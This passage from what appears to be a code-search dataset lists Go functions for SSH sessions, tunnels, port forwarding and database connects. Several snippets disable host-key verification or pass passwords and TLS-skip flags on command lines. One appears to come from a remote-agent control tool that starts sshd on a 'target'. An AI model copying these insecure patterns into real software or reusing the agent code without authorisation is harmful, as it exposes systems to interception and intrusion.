[]ssh.AuthMethod{ssh.PublicKeysCallback(getSSHKeys)},\n\t\t}\n\n\t\tfmt.Printf(\"connecting to %s@%s\", uname, sshHost)\n\t\tsshCon, err := ssh.Dial(\"tcp\", sshHost, sc)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error connecting to ssh host: %s\", err)\n\t\t}\n\n\t\tfcon, err := sshCon.Dial(\"tcp\", tunHost)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error connecting through tunnel: %s\", err)\n\t\t}\n\t\treturn fcon, nil\n\t}\n}","func (conn *Connection) Connect(mode int64, twophase bool /*, newPassword string*/) error {\n\tcredentialType := C.OCI_CRED_EXT\n\tvar (\n\t\tstatus C.sword\n\t\terr error\n\t)\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif conn.sessionHandle != nil {\n\t\t\t\tC.OCIHandleFree(unsafe.Pointer(conn.sessionHandle),\n\t\t\t\t\tC.OCI_HTYPE_SESSION)\n\t\t\t}\n\t\t\tif conn.handle != nil {\n\t\t\t\tC.OCIHandleFree(unsafe.Pointer(conn.handle),\n\t\t\t\t\tC.OCI_HTYPE_SVCCTX)\n\t\t\t}\n\t\t\tif conn.serverHandle != nil {\n\t\t\t\tC.OCIHandleFree(unsafe.Pointer(conn.serverHandle),\n\t\t\t\t\tC.OCI_HTYPE_SERVER)\n\t\t\t}\n\t\t}\n\t}()\n\n\t// allocate the server handle\n\tif ociHandleAlloc(unsafe.Pointer(conn.environment.handle),\n\t\tC.OCI_HTYPE_SERVER,\n\t\t(*unsafe.Pointer)(unsafe.Pointer(&conn.serverHandle)),\n\t\t\"Connect[allocate server handle]\"); err != nil {\n\t\treturn err\n\t}\n\n\t// attach to the server\n\t/*\n\t if (cxBuffer_FromObject(&buffer, self->dsn,\n\t self->environment->encoding) < 0)\n\t return -1;\n\t*/\n\n\tbuffer := make([]byte, max(16, len(conn.dsn), len(conn.username), len(conn.password))+1)\n\tcopy(buffer, []byte(conn.dsn))\n\tbuffer[len(conn.dsn)] = 0\n\t// dsn := C.CString(conn.dsn)\n\t// defer C.free(unsafe.Pointer(dsn))\n\t// Py_BEGIN_ALLOW_THREADS\n\tconn.srvMtx.Lock()\n\t// log.Printf(\"buffer=%s\", buffer)\n\tstatus = C.OCIServerAttach(conn.serverHandle,\n\t\tconn.environment.errorHandle, (*C.OraText)(&buffer[0]),\n\t\tC.sb4(len(buffer)), C.OCI_DEFAULT)\n\t// Py_END_ALLOW_THREADS\n\tconn.srvMtx.Unlock()\n\t// cxBuffer_Clear(&buffer);\n\tif err = conn.environment.CheckStatus(status, \"Connect[server attach]\"); err != nil {\n\t\treturn err\n\t}\n\t// log.Printf(\"attached to server %s\", conn.serverHandle)\n\n\t// allocate the service context handle\n\tif err = ociHandleAlloc(unsafe.Pointer(conn.environment.handle),\n\t\tC.OCI_HTYPE_SVCCTX, (*unsafe.Pointer)(unsafe.Pointer(&conn.handle)),\n\t\t\"Connect[allocate service context handle]\"); err != nil {\n\t\treturn err\n\t}\n\t// log.Printf(\"allocated service context handle\")\n\n\t// set attribute for server handle\n\tif err = conn.AttrSet(C.OCI_ATTR_SERVER, unsafe.Pointer(conn.serverHandle), 0); err != nil {\n\t\tsetErrAt(err, \"Connect[set server handle]\")\n\t\treturn err\n\t}\n\n\t// set the internal and external names; these are needed for global\n\t// transactions but are limited in terms of the lengths of the strings\n\tif twophase {\n\t\tname := []byte(\"goracle\")\n\t\tcopy(buffer, name)\n\t\tbuffer[len(name)] = 0\n\n\t\tif err = conn.ServerAttrSet(C.OCI_ATTR_INTERNAL_NAME,\n\t\t\tunsafe.Pointer(&buffer[0]), len(name)); err != nil {\n\t\t\tsetErrAt(err, \"Connect[set internal name]\")\n\t\t\treturn err\n\t\t}\n\t\tif err = conn.ServerAttrSet(C.OCI_ATTR_EXTERNAL_NAME,\n\t\t\tunsafe.Pointer(&buffer[0]), len(name)); err != nil {\n\t\t\tsetErrAt(err, \"Connect[set external name]\")\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// allocate the session handle\n\tif err = ociHandleAlloc(unsafe.Pointer(conn.environment.handle),\n\t\tC.OCI_HTYPE_SESSION,\n\t\t(*unsafe.Pointer)(unsafe.Pointer(&conn.sessionHandle)),\n\t\t\"Connect[allocate session handle]\"); err != nil {\n\t\treturn err\n\t}\n\t// log.Printf(\"allocated session handle\")\n\n\t// set user name in session handle\n\tif conn.username != \"\" {\n\t\tcopy(buffer, []byte(conn.username))\n\t\tbuffer[len(conn.username)] = 0\n\t\tcredentialType = C.OCI_CRED_RDBMS\n\n\t\tif err = conn.SessionAttrSet(C.OCI_ATTR_USERNAME,\n\t\t\tunsafe.Pointer(&buffer[0]), len(conn.username)); err != nil {\n\t\t\tsetErrAt(err, \"Connect[set user name]\")\n\t\t\treturn err\n\t\t}\n\t\t// log.Printf(\"set user name %s\", buffer)\n\t}\n\n\t// set password in session handle\n\tif conn.password != \"\" {\n\t\tcopy(buffer, []byte(conn.password))\n\t\tbuffer[len(conn.password)] = 0\n\t\tcredentialType = C.OCI_CRED_RDBMS\n\t\tif err = conn.SessionAttrSet(C.OCI_ATTR_PASSWORD,\n\t\t\tunsafe.Pointer(&buffer[0]), len(conn.password)); err != nil {\n\t\t\tsetErrAt(err, \"Connect[set password]\")\n\t\t\treturn err\n\t\t}\n\t\t// log.Printf(\"set password %s\", buffer)\n\t}\n\n\t/*\n\t #ifdef OCI_ATTR_DRIVER_NAME\n\t status = OCIAttrSet(self->sessionHandle, OCI_HTYPE_SESSION,\n\t (text*) DRIVER_NAME, strlen(DRIVER_NAME), OCI_ATTR_DRIVER_NAME,\n\t self->environment->errorHandle);\n\t if (Environment_CheckForError(self->environment, status,\n\t \"Connection_Connect(): set driver name\") < 0)\n\t return -1;\n\n\t #endif\n\t*/\n\n\t// set the session handle on the service context handle\n\tif err = conn.AttrSet(C.OCI_ATTR_SESSION,\n\t\tunsafe.Pointer(conn.sessionHandle), 0); err != nil {\n\t\tsetErrAt(err, \"Connect[set session handle]\")\n\t\treturn err\n\t}\n\n\t/*\n\t // if a new password has been specified, change it which will also\n\t // establish the session\n\t if (newPasswordObj)\n\t return Connection_ChangePassword(self, self->password, newPasswordObj);\n\t*/\n\n\t// begin the session\n\t// Py_BEGIN_ALLOW_THREADS\n\tconn.srvMtx.Lock()\n\tstatus = C.OCISessionBegin(conn.handle, conn.environment.errorHandle,\n\t\tconn.sessionHandle, C.ub4(credentialType), C.ub4(mode))\n\t// Py_END_ALLOW_THREADS\n\tconn.srvMtx.Unlock()\n\tif err = conn.environment.CheckStatus(status, \"Connect[begin session]\"); err != nil {\n\t\tconn.sessionHandle = nil\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (c *SSHClient) Connect(host, port string) error {\n\tclient, err := ssh.Dial(\"tcp\", fmt.Sprintf(\"%s:%s\", host, port), c.config)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.client = client\n\n\treturn nil\n}","func NewCommand(s genopts.IOStreams) *cobra.Command {\n\tcfg := newConfig(s)\n\tcmd := &cobra.Command{\n\t\tUse: \"kubectl-ssh [flags] [node-name]\",\n\t\tShort: \"SSH into a specific Kubernetes node in a cluster or into an arbitrary node matching selectors\",\n\t\tExample: fmt.Sprintf(usage, \"kubectl-ssh\"),\n\t\tSilenceUsage: true,\n\t}\n\tcmd.Flags().StringVar(&cfg.Login, \"login\", os.Getenv(\"KUBECTL_SSH_DEFAULT_USER\"),\n\t\t`Specifies the user to log in as on the remote machine (defaults to KUBECTL_SSH_DEFAULT_USER environment)`)\n\n\tr := &runner{\n\t\tconfig: cfg,\n\t}\n\tr.Bind(cmd)\n\treturn cmd\n}","func (m *Mothership) CLICommand() string {\n\ttlsFlag := \"\"\n\tif m.NoTLS {\n\t\ttlsFlag = \"--notls\"\n\t}\n\tvar tlsInsecureFlag string\n\tif !m.VerifyTLS {\n\t\ttlsInsecureFlag = \"--tlsInsecureSkipVerify\"\n\t}\n\tbin := fmt.Sprintf(\"%s --username %s --password %s --host %s --port %d %s %s\",\n\t\tm.Binary,\n\t\tm.Username,\n\t\tm.Password,\n\t\tm.Host,\n\t\tm.Port,\n\t\ttlsFlag,\n\t\ttlsInsecureFlag)\n\treturn strings.Join(strings.Fields(bin), \" \")\n}","func (s *SSHOrch) ExecSSH(userserver, cmd string) string {\n\tclient := s.doLookup(userserver)\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to create session:\", err)\n\t}\n\tdefer session.Close()\n\t/*\n\t\tstdout, err := session.StdoutPipe()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to pipe session stdout:\", err)\n\t\t}\n\n\t\tstderr, err := session.StderrPipe()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to pipe session stderr:\", err)\n\t\t}\n\t*/\n\n\tbuf, err := session.CombinedOutput(cmd)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to execute cmd:\", err)\n\t}\n\n\t// Network read pushed to background\n\t/*readExec := func(r io.Reader, ch chan []byte) {\n\t\tif str, err := ioutil.ReadAll(r); err != nil {\n\t\t\tch <- str\n\t\t}\n\t}\n\toutCh := make(chan []byte)\n\tgo readExec(stdout, outCh)\n\t*/\n\treturn string(buf)\n}","func Command(name string, arg ...string) *Cmd {}","func SSHClient(shell, port string) (err error) {\n\tif !util.IsCommandExist(\"ssh\") {\n\t\terr = fmt.Errorf(\"ssh must be installed\")\n\t\treturn\n\t}\n\n\t// is port mapping already done?\n\tlport := strconv.Itoa(util.RandInt(2048, 65535))\n\tto := \"127.0.0.1:\" + port\n\texists := false\n\tfor _, p := range PortFwds {\n\t\tif p.Agent == CurrentTarget && p.To == to {\n\t\t\texists = true\n\t\t\tlport = p.Lport // use the correct port\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !exists {\n\t\t// start sshd server on target\n\t\tcmd := fmt.Sprintf(\"!sshd %s %s %s\", shell, port, uuid.NewString())\n\t\tif shell != \"bash\" {\n\t\t\terr = SendCmdToCurrentTarget(cmd)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tCliPrintInfo(\"Starting sshd (%s) on target %s\", shell, strconv.Quote(CurrentTarget.Tag))\n\n\t\t\t// wait until sshd is up\n\t\t\tdefer func() {\n\t\t\t\tCmdResultsMutex.Lock()\n\t\t\t\tdelete(CmdResults, cmd)\n\t\t\t\tCmdResultsMutex.Unlock()\n\t\t\t}()\n\t\t\tfor {\n\t\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\t\tres, exists := CmdResults[cmd]\n\t\t\t\tif exists {\n\t\t\t\t\tif strings.Contains(res, \"success\") {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t} else {\n\t\t\t\t\t\terr = fmt.Errorf(\"Start sshd failed: %s\", res)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// set up port mapping for the ssh session\n\t\tCliPrintInfo(\"Setting up port mapping for sshd\")\n\t\tpf := &PortFwdSession{}\n\t\tpf.Ctx, pf.Cancel = context.WithCancel(context.Background())\n\t\tpf.Lport, pf.To = lport, to\n\t\tgo func() {\n\t\t\terr = pf.RunPortFwd()\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"PortFwd failed: %v\", err)\n\t\t\t\tCliPrintError(\"Start port mapping for sshd: %v\", err)\n\t\t\t}\n\t\t}()\n\t\tCliPrintInfo(\"Waiting for response from %s\", CurrentTarget.Tag)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\t// wait until the port mapping is ready\n\texists = false\nwait:\n\tfor i := 0; i < 100; i++ {\n\t\tif exists {\n\t\t\tbreak\n\t\t}\n\t\ttime.Sleep(100 * time.Millisecond)\n\t\tfor _, p := range PortFwds {\n\t\t\tif p.Agent == CurrentTarget && p.To == to {\n\t\t\t\texists = true\n\t\t\t\tbreak wait\n\t\t\t}\n\t\t}\n\t}\n\tif !exists {\n\t\terr = errors.New(\"Port mapping unsuccessful\")\n\t\treturn\n\t}\n\n\t// let's do the ssh\n\tsshPath, err := exec.LookPath(\"ssh\")\n\tif err != nil {\n\t\tCliPrintError(\"ssh not found, please install it first: %v\", err)\n\t}\n\tsshCmd := fmt.Sprintf(\"%s -p %s -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no 127.0.0.1\",\n\t\tsshPath, lport)\n\tCliPrintSuccess(\"Opening SSH session for %s in new window. \"+\n\t\t\"If that fails, please execute command %s manaully\",\n\t\tCurrentTarget.Tag, strconv.Quote(sshCmd))\n\n\t// agent name\n\tname := CurrentTarget.Hostname\n\tlabel := Targets[CurrentTarget].Label\n\tif label != \"nolabel\" && label != \"-\" {\n\t\tname = label\n\t}\n\treturn TmuxNewWindow(fmt.Sprintf(\"%s-%s\", name, shell), sshCmd)\n}","func CompsCommand(runtime *program.SubRuntime) (retval int, err string) {\n\targv := runtime.Argv\n\n\t// parse the repo uri\n\turi, e := repos.NewRepoURI(argv[0])\n\tif e != nil {\n\t\terr = constants.StringUnparsedRepoName\n\t\tretval = constants.ErrorInvalidRepo\n\t\treturn\n\t}\n\n\t// print each component on one line\n\tfor _, comp := range uri.Components() {\n\t\tfmt.Println(comp)\n\t}\n\n\t// and finish\n\treturn\n}","func (m *Monocular) Connect(ec echo.Context, cnsiRecord interfaces.CNSIRecord, userId string) (*interfaces.TokenRecord, bool, error) {\n\t// Note: Helm Repositories don't support connecting\n\treturn nil, false, errors.New(\"Connecting not support for a Helm Repository\")\n}","func ConnectWithPasswordTimeout(host, username, pass string, timeout time.Duration) (*Client, error) {\n\tauthMethod := ssh.Password(pass)\n\n\treturn connect(username, host, authMethod, timeout)\n}","func (s *Session) SendCommand(command string) {\n\t_, _ = fmt.Fprintf(s.socket, \"?\"+command+\";\")\n}","func (client *SdnClient) SSHPortForwarding(localPort, targetPort uint16,\n\ttargetIP string) (close func(), err error) {\n\tfwdArgs := fmt.Sprintf(\"%d:%s:%d\", localPort, targetIP, targetPort)\n\targs := client.sshArgs(\"-v\", \"-T\", \"-L\", fwdArgs, \"tail\", \"-f\", \"/dev/null\")\n\tcmd := exec.Command(\"ssh\", args...)\n\tstdout, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcmd.Stderr = cmd.Stdout\n\terr = cmd.Start()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttunnelReadyCh := make(chan bool, 1)\n\tgo func(tunnelReadyCh chan<- bool) {\n\t\tvar listenerReady, fwdReady, sshReady bool\n\t\tfwdMsg := fmt.Sprintf(\"Local connections to LOCALHOST:%d \" +\n\t\t\t\"forwarded to remote address %s:%d\", localPort, targetIP, targetPort)\n\t\tlistenMsg := fmt.Sprintf(\"Local forwarding listening on 127.0.0.1 port %d\",\n\t\t\tlocalPort)\n\t\tsshReadyMsg := \"Entering interactive session\"\n\t\tscanner := bufio.NewScanner(stdout)\n\t\tfor scanner.Scan() {\n\t\t\tline := scanner.Text()\n\t\t\tif strings.Contains(line, fwdMsg) {\n\t\t\t\tfwdReady = true\n\t\t\t}\n\t\t\tif strings.Contains(line, listenMsg) {\n\t\t\t\tlistenerReady = true\n\t\t\t}\n\t\t\tif strings.Contains(line, sshReadyMsg) {\n\t\t\t\tsshReady = true\n\t\t\t}\n\t\t\tif listenerReady && fwdReady && sshReady {\n\t\t\t\ttunnelReadyCh <- true\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}(tunnelReadyCh)\n\tclose = func() {\n\t\terr = cmd.Process.Kill()\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"failed to kill %s: %v\", cmd, err)\n\t\t} else {\n\t\t\t_ = cmd.Wait()\n\t\t}\n\t}\n\t// Give tunnel some time to open.\n\tselect {\n\tcase <-tunnelReadyCh:\n\t\t// Just an extra cushion for the tunnel to establish.\n\t\ttime.Sleep(500 * time.Millisecond)\n\t\treturn close, nil\n\tcase <-time.After(30 * time.Second):\n\t\tclose()\n\t\treturn nil, fmt.Errorf(\"failed to create SSH tunnel %s in time\", fwdArgs)\n\t}\n}","func connect() net.Conn {\n\t//connection, err := net.Dial(\"unix\", \"/var/www/bot/irc/sock\")\n\tconnection, err := net.Dial(\"tcp\", \"localhost:8765\")\n\n\t//\tsendCommand(connection, \"PASS\", password)\n\t//\tsendCommand(connection, \"USER\", fmt.Sprintf(\"%s 8 * :%s\\r\\n\", nickname, nickname))\n\t//\tsendCommand(connection, \"NICK\", nickname)\n\t//\tfmt.Println(\"Registration sent\")\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tjoinChannels(connection)\n\n\treturn connection\n}","func UnixConnect(ctx context.Context, addr string) (net.Conn, error) {\n\tunixAddr, _ := net.ResolveUnixAddr(\"unix\", addr)\n\treturn net.DialUnix(\"unix\", nil, unixAddr)\n}"],"string":"[\n \"func StreamConnectCommand(args []string) {\\n\\tif len(args) == 0 {\\n\\t\\tlog.Fatal(\\\"At least one argument must be supplied to use this command\\\")\\n\\t}\\n\\n\\tcs := strings.Join(args, \\\" \\\")\\n\\tpn := conf.GetConfig().Tokaido.Project.Name + \\\".tok\\\"\\n\\n\\tutils.StreamOSCmd(\\\"ssh\\\", []string{\\\"-q\\\", \\\"-o UserKnownHostsFile=/dev/null\\\", \\\"-o StrictHostKeyChecking=no\\\", pn, \\\"-C\\\", cs}...)\\n}\",\n \"func connect() cli.Command { // nolint: gocyclo\\n\\tcommand := cli.Command{\\n\\t\\tName: \\\"connect\\\",\\n\\t\\tAliases: []string{\\\"conn\\\"},\\n\\t\\tUsage: \\\"Get a shell from a vm\\\",\\n\\t\\tFlags: []cli.Flag{\\n\\t\\t\\tcli.StringFlag{\\n\\t\\t\\t\\tName: \\\"user\\\",\\n\\t\\t\\t\\tValue: \\\"\\\",\\n\\t\\t\\t\\tUsage: \\\"ssh login user\\\",\\n\\t\\t\\t},\\n\\t\\t\\tcli.StringFlag{\\n\\t\\t\\t\\tName: \\\"key\\\",\\n\\t\\t\\t\\tValue: \\\"\\\",\\n\\t\\t\\t\\tUsage: \\\"private key path (default: ~/.ssh/id_rsa)\\\",\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\tAction: func(c *cli.Context) error {\\n\\t\\t\\tvar name, loginUser, key string\\n\\t\\t\\tvar vmID int\\n\\t\\t\\tnameFound := false\\n\\t\\t\\tnargs := c.NArg()\\n\\t\\t\\tswitch {\\n\\t\\t\\tcase nargs == 1:\\n\\t\\t\\t\\t// Parse flags\\n\\t\\t\\t\\tif c.String(\\\"user\\\") != \\\"\\\" {\\n\\t\\t\\t\\t\\tloginUser = c.String(\\\"user\\\")\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tusr, _ := user.Current()\\n\\t\\t\\t\\t\\tloginUser = usr.Name\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif c.String(\\\"key\\\") != \\\"\\\" {\\n\\t\\t\\t\\t\\tkey, _ = filepath.Abs(c.String(\\\"key\\\"))\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tusr, err := user.Current()\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\tlog.Fatal(err)\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tkey = usr.HomeDir + \\\"/.ssh/id_rsa\\\"\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tname = c.Args().First()\\n\\t\\t\\t\\tcli, err := client.NewEnvClient()\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tlistArgs := filters.NewArgs()\\n\\t\\t\\t\\tlistArgs.Add(\\\"ancestor\\\", VMLauncherContainerImage)\\n\\t\\t\\t\\tcontainers, err := cli.ContainerList(context.Background(),\\n\\t\\t\\t\\t\\ttypes.ContainerListOptions{\\n\\t\\t\\t\\t\\t\\tQuiet: false,\\n\\t\\t\\t\\t\\t\\tSize: false,\\n\\t\\t\\t\\t\\t\\tAll: true,\\n\\t\\t\\t\\t\\t\\tLatest: false,\\n\\t\\t\\t\\t\\t\\tSince: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tBefore: \\\"\\\",\\n\\t\\t\\t\\t\\t\\tLimit: 0,\\n\\t\\t\\t\\t\\t\\tFilters: listArgs,\\n\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tpanic(err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tfor id, container := range containers {\\n\\t\\t\\t\\t\\tif container.Names[0][1:] == name {\\n\\t\\t\\t\\t\\t\\tnameFound = true\\n\\t\\t\\t\\t\\t\\tvmID = id\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif !nameFound {\\n\\t\\t\\t\\t\\tfmt.Printf(\\\"Unable to find a running vm with name: %s\\\", name)\\n\\t\\t\\t\\t\\tos.Exit(1)\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tvmIP := containers[vmID].NetworkSettings.Networks[\\\"bridge\\\"].IPAddress\\n\\t\\t\\t\\t\\tgetNewSSHConn(loginUser, vmIP, key)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\tcase nargs == 0:\\n\\t\\t\\t\\tfmt.Println(\\\"No name provided as argument.\\\")\\n\\t\\t\\t\\tos.Exit(1)\\n\\n\\t\\t\\tcase nargs > 1:\\n\\t\\t\\t\\tfmt.Println(\\\"Only one argument is allowed\\\")\\n\\t\\t\\t\\tos.Exit(1)\\n\\t\\t\\t}\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\treturn command\\n}\",\n \"func ConnectCommandOutput(args []string) string {\\n\\tif len(args) == 0 {\\n\\t\\tlog.Fatal(\\\"At least one argument must be supplied to use this command\\\")\\n\\t}\\n\\n\\tcs := strings.Join(args, \\\" \\\")\\n\\tpn := conf.GetConfig().Tokaido.Project.Name + \\\".tok\\\"\\n\\n\\tr := utils.CommandSubstitution(\\\"ssh\\\", []string{\\\"-q\\\", \\\"-o UserKnownHostsFile=/dev/null\\\", \\\"-o StrictHostKeyChecking=no\\\", pn, \\\"-C\\\", cs}...)\\n\\n\\tutils.DebugString(r)\\n\\n\\treturn r\\n}\",\n \"func sshconnect(n *Node) (*ssh.Session, error) {\\n\\tuser := n.UserName\\n\\thost := n.Addr\\n\\tport := 22\\n\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\taddr string\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tclient *ssh.Client\\n\\t\\tsession *ssh.Session\\n\\t\\terr error\\n\\t)\\n\\n\\t// Get auth method\\n\\tif n.AuthMethod == \\\"privateKey\\\" {\\n\\t\\tauth = make([]ssh.AuthMethod, 0)\\n\\t\\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\\n\\t} else if n.AuthMethod == \\\"password\\\" {\\n\\t\\tauth = make([]ssh.AuthMethod, 0)\\n\\t\\tauth = append(auth, ssh.Password(n.Password))\\n\\t}\\n\\n\\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: user,\\n\\t\\tAuth: auth,\\n\\t\\tTimeout: 30 * time.Second,\\n\\t\\tHostKeyCallback: hostKeyCallbk,\\n\\t}\\n\\n\\t// connet to ssh\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\n\\tif client, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// create session\\n\\tif session, err = client.NewSession(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn session, nil\\n}\",\n \"func (rhost *rhostData) cmdConnect(rec *receiveData) {\\n\\n\\t// Parse cmd connect data\\n\\tpeer, addr, port, err := rhost.cmdConnectData(rec)\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\t// Does not process this command if peer already connected\\n\\tif _, ok := rhost.teo.arp.find(peer); ok {\\n\\t\\tteolog.DebugVv(MODULE, \\\"peer\\\", peer, \\\"already connected, suggests address\\\",\\n\\t\\t\\taddr, \\\"port\\\", port)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Does not create connection if connection with this address an port\\n\\t// already exists\\n\\tif _, ok := rhost.teo.arp.find(addr, int(port), 0); ok {\\n\\t\\tteolog.DebugVv(MODULE, \\\"connection\\\", addr, int(port), 0, \\\"already exsists\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tgo func() {\\n\\t\\trhost.teo.wg.Add(1)\\n\\t\\tdefer rhost.teo.wg.Done()\\n\\t\\t// Create new connection\\n\\t\\ttcd := rhost.teo.td.ConnectChannel(addr, int(port), 0)\\n\\n\\t\\t// Replay to address received in command data\\n\\t\\trhost.teo.sendToTcd(tcd, CmdNone, []byte{0})\\n\\n\\t\\t// Disconnect this connection if it does not added to peers arp table during timeout\\n\\t\\t//go func(tcd *trudp.ChannelData) {\\n\\t\\ttime.Sleep(1500 * time.Millisecond)\\n\\t\\tif !rhost.running {\\n\\t\\t\\tteolog.DebugVv(MODULE, \\\"channel discovery task finished...\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tif _, ok := rhost.teo.arp.find(tcd); !ok {\\n\\t\\t\\tteolog.DebugVv(MODULE, \\\"connection\\\", addr, int(port), 0,\\n\\t\\t\\t\\t\\\"with peer does not established during timeout\\\")\\n\\t\\t\\ttcd.Close()\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}()\\n}\",\n \"func sshConnect(ctx context.Context, conn net.Conn, ssh ssh.ClientConfig, dialTimeout time.Duration, addr string) (net.Conn, error) {\\n\\tssh.Timeout = dialTimeout\\n\\tsconn, err := tracessh.NewClientConnWithDeadline(ctx, conn, addr, &ssh)\\n\\tif err != nil {\\n\\t\\treturn nil, trace.NewAggregate(err, conn.Close())\\n\\t}\\n\\n\\t// Build a net.Conn over the tunnel. Make this an exclusive connection:\\n\\t// close the net.Conn as well as the channel upon close.\\n\\tconn, _, err = sshutils.ConnectProxyTransport(sconn.Conn, &sshutils.DialReq{\\n\\t\\tAddress: constants.RemoteAuthServer,\\n\\t}, true)\\n\\tif err != nil {\\n\\t\\treturn nil, trace.NewAggregate(err, sconn.Close())\\n\\t}\\n\\treturn conn, nil\\n}\",\n \"func SshConnect(user, password, host string, port int) (*ssh.Session, error) {\\n\\tvar (\\n\\t\\tauth []ssh.AuthMethod\\n\\t\\tclientConfig *ssh.ClientConfig\\n\\t\\tclient *ssh.Client\\n\\t\\tsession *ssh.Session\\n\\t\\terr error\\n\\t\\taddr string\\n\\t)\\n\\t// get auth method\\n\\tauth = make([]ssh.AuthMethod, 0)\\n\\tauth = append(auth, ssh.Password(password))\\n\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: user,\\n\\t\\tAuth: auth,\\n\\t\\tTimeout: 30 * time.Second,\\n\\t}\\n\\n\\t// connet to ssh\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\n\\tif client, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// create session\\n\\tif session, err = client.NewSession(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn session, nil\\n}\",\n \"func connectChart(ctx context.Context, d *dut.DUT, hostname string) (*ssh.Conn, error) {\\n\\tvar sopt ssh.Options\\n\\tssh.ParseTarget(hostname, &sopt)\\n\\tsopt.KeyDir = d.KeyDir()\\n\\tsopt.KeyFile = d.KeyFile()\\n\\tsopt.ConnectTimeout = 10 * time.Second\\n\\treturn ssh.New(ctx, &sopt)\\n}\",\n \"func SSHConnect() {\\n\\tcommand := \\\"uptime\\\"\\n\\tvar usInfo userInfo\\n\\tvar kP keyPath\\n\\tkey, err := ioutil.ReadFile(kP.privetKey)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tsigner, err := ssh.ParsePrivateKey(key)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\thostKeyCallBack, err := knownhosts.New(kP.knowHost)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tconfig := &ssh.ClientConfig{\\n\\t\\tUser: usInfo.user,\\n\\t\\tAuth: []ssh.AuthMethod{\\n\\t\\t\\tssh.PublicKeys(signer),\\n\\t\\t},\\n\\t\\tHostKeyCallback: hostKeyCallBack,\\n\\t}\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", usInfo.servIP+\\\":\\\"+usInfo.port, config)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tdefer client.Close()\\n\\tss, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\tdefer ss.Close()\\n\\tvar stdoutBuf bytes.Buffer\\n\\tss.Stdout = &stdoutBuf\\n\\tss.Run(command)\\n\\tfmt.Println(stdoutBuf.String())\\n}\",\n \"func executeCmd(remote_host string) string {\\n\\treadConfig(\\\"config\\\")\\n\\t//\\tconfig, err := sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\\n\\t//\\tif err != nil {\\n\\t//\\t\\tlog.Fatal(err)\\n\\t//\\t}\\n\\tvar config *ssh.ClientConfig\\n\\n\\tif Conf.Method == \\\"password\\\" {\\n\\t\\tconfig = sshAuthPassword(Conf.SshUser, 